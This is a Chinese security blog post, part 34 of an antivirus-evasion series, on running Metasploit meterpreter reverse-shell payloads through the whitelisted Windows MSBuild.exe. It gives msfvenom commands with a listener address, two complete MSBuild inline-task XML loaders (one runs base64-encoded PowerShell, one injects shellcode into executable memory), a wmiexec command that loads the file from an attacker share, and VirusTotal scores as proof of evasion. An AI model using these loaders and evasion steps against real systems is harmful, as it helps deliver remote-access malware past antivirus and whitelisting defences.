远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

admin 2022年8月28日21:52:05程序逆向评论17 views6254字阅读20分50秒阅读模式

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

中间有几篇代码相关的免杀还在完善,先留个位置,所以一下从专题26跳到了专题34。

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、MSBuild.exe介绍

之前在介绍免杀工具的时候已经介绍过MSBuild.exe,专题19中介绍的nps_payload:https://mp.weixin.qq.com/s/XmSRgRUftMV3nmD1Gk0mvA,就是生成.xml文件,然后使用msbuild.exe来加载payload。还有专题20提到的GreatSCT:https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ也是可生成MSBuild.exe加载的xml文件。

Microsoft Build Engine是一个用于构建应用程序的平台,此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。

说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法直接在cmd中使用。需要带上路径:C:WindowsMicrosoft.NETFrameworkv4.0.30319

适用条件:.NET Framework>=4.0

二、利用MSBuild.exe执行payload法1(VT查杀率4/57)

使用msfvenom生成shellcode,注意生成的是psh格式

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 lport=3333  -f psh -o shell.ps1

然后打开shell.ps1文件,在文件最后添加一行for (;;){n Start-sleep 60n},保存一下。

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

然后把修改后的shell.ps1文件内容进行base64编码,可以使用在线平台(比如https://www.sojson.com/base64.html)也可以使用其他编码工具。

然后把编码后的内容替换到下面代码中cmd =处,并保存为shell.xml

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  <!-- This inline task executes c# code. -->  <!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe nps.xml -->  <!-- Original MSBuild Author: Casey Smith, Twitter: @subTee -->  <!-- NPS Created By: Ben Ten, Twitter: @ben0xa -->  <!-- License: BSD 3-Clause -->  <Target Name="npscsharp">   <nps />  </Target>  <UsingTask    TaskName="nps"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >  <Task>    <Reference Include="System.Management.Automation" />      <Code Type="Class" Language="cs">        <![CDATA[
using System; using System.Collections.ObjectModel; using System.Management.Automation; using System.Management.Automation.Runspaces; using Microsoft.Build.Framework; using Microsoft.Build.Utilities;
public class nps : Task, ITask { public override bool Execute() { string cmd = "JEFuRUl---base64_shellcode-----xsSW1wb3J0KCJrZXJuZWwzMi5k";
PowerShell ps = PowerShell.Create(); ps.AddScript(Base64Decode(cmd));
Collection<PSObject> output = null; try { output = ps.Invoke(); } catch(Exception e) { Console.WriteLine("Error while executing the script.rn" + e.Message.ToString()); } if (output != null) { foreach (PSObject rtnItem in output) { Console.WriteLine(rtnItem.ToString()); } } return true; }
public static string Base64Encode(string text) { return System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(text)); }
public static string Base64Decode(string encodedtext) { return System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(encodedtext)); } } ]]> </Code> </Task> </UsingTask></Project>

msbuild.exe加载文件的方式有两种

1. 本地加载执行:- %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe <folder_path_here>msbuild_nps.xml
2. 远程文件执行:
wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \<attackerip><share>msbuild_nps.xml

我这里就用本地加载进行测试,msbuild.exe在windows中的的一般路径为C:windowsmicrosoft.netframeworkv4.0.30319msbuild.exe

msfconsole监听相应payload和端口,打开杀软进行测试

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

可正常上线

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

virustotal.com上shell.xml查杀率为4/57

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

三、利用MSBuild.exe执行payload法2(VT查杀率18/58)

这是三好学生大神提供的一种xml代码,源文件见https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20shellcode.xml

需要先通过msfvenom生成C#的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f csharp

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

将生成的shellcode替换到下面代码的byte[] shellcode =处,并将文件保存为shell2.xml。

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  <!-- This inline task executes shellcode. -->  <!-- C:WindowsMicrosoft.NETFrameworkv4.0.30319msbuild.exe SimpleTasks.csproj -->  <!-- Save This File And Execute The Above Command -->  <!-- Author: Casey Smith, Twitter: @subTee -->   <!-- License: BSD 3-Clause -->  <Target Name="Hello">    <ClassExample />  </Target>  <UsingTask    TaskName="ClassExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >    <Task>          <Code Type="Class" Language="cs">      <![CDATA[        using System;        using System.Runtime.InteropServices;        using Microsoft.Build.Framework;        using Microsoft.Build.Utilities;        public class ClassExample :  Task, ITask        {                   private static UInt32 MEM_COMMIT = 0x1000;                    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;                    [DllImport("kernel32")]            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);                    [DllImport("kernel32")]            private static extern IntPtr CreateThread(                        UInt32 lpThreadAttributes,            UInt32 dwStackSize,            UInt32 lpStartAddress,            IntPtr param,            UInt32 dwCreationFlags,            ref UInt32 lpThreadId                       );          [DllImport("kernel32")]            private static extern UInt32 WaitForSingleObject(                       IntPtr hHandle,            UInt32 dwMilliseconds            );                    public override bool Execute()          {            byte[] shellcode = new byte[195] {              0xfc,--shellcode_here--,0x00 };                            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,                MEM_COMMIT, PAGE_EXECUTE_READWRITE);              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);              IntPtr hThread = IntPtr.Zero;              UInt32 threadId = 0;              IntPtr pinfo = IntPtr.Zero;              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);              WaitForSingleObject(hThread, 0xFFFFFFFF);              return true;          }         }           ]]>      </Code>    </Task>  </UsingTask></Project>

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

在msf中监听相应端口,在测试机中执行C:windowsmicrosoft.netframeworkv4.0.30319msbuild.exe shell2.xml

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

msf中可上线

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

virustotal.com上shell2.xml查杀率为18/58

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

侯亮大神的一篇文章还提供了另外一种xml代码:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji,可以直接对接msf。

virustotal.com上该代码查杀率目前为13/58。

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

四、参考资料

使用msbuild.exe绕过应用程序白名单(多种方法):https://www.cnblogs.com/backlion/p/10490573.html

MSBuild.exe-bypass application whitelisting:https://pplsec.github.io/2019/03/26/MSBuild.exe-bypass-application-whitelisting/

基于白名单Msbuild.exe执行payload第一季:https://micro8.gitbook.io/micro8/contents-1/71-80/71-ji-yu-bai-ming-dan-msbuild.exe-zhi-hang-payload-di-yi-ji




E




N




D






远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)


guān




zhù







men





Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.com 或长按二维码关注公众号:

远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)





原文始发于微信公众号(白帽子):远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57)

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日21:52:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  远控免杀专题(34)-白名单MSBuild.exe执行payload(VT免杀率4-57) http://cn-sec.com/archives/868506.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: